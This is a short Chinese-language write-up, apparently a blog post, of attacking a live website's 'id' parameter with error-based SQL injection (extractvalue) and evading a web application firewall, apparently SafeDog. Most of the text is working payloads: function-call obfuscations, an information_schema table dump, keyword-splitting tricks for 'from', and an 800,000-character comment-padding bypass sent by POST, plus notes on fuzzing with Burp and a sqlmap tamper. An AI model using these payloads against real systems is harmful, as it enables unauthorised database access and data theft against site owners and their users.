发现注入:
http://www.xxxxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,md5(1753434860)))
看到id参数就想到了奈个呗:
某狗上线:
硬匹配函数体的几种绕过
version() => `version`()
version() => version/**/()
http://www.xxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,database/**/()))
还是能看到库了,准备查表
查表:
http://www.xxx.com/grocery-magazine?id=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x666E6A696E657732)))
既然这样赤裸裸,拦截是应该的
常规的绕过无望:
发现from关键词被盯上了
/**/FrOm/**/
/*!fRom*/
/*!2312froM*/
%20from(%20)
/**/%20from%20/**/
f+r+o+m
80万字符的填充绕过:
前话:
因为GET型有长度限制,有时候还没加到能bypass的程度服务器就报错。
所以换post提交填充数据,形式如
id=extractvalue(1,concat(0x7e,(select table_name/*aaaaa ...( 80w 个 a) aaaaaaaaaaaaaaa*/from information_schema.tables where table_schema=database() limit 0,1)))
至于填充多少可以自己用bp fuzz一下:
后记Sqlmap:
Tamper的话,我是简单的替换了from(菜是原罪啊,tcl)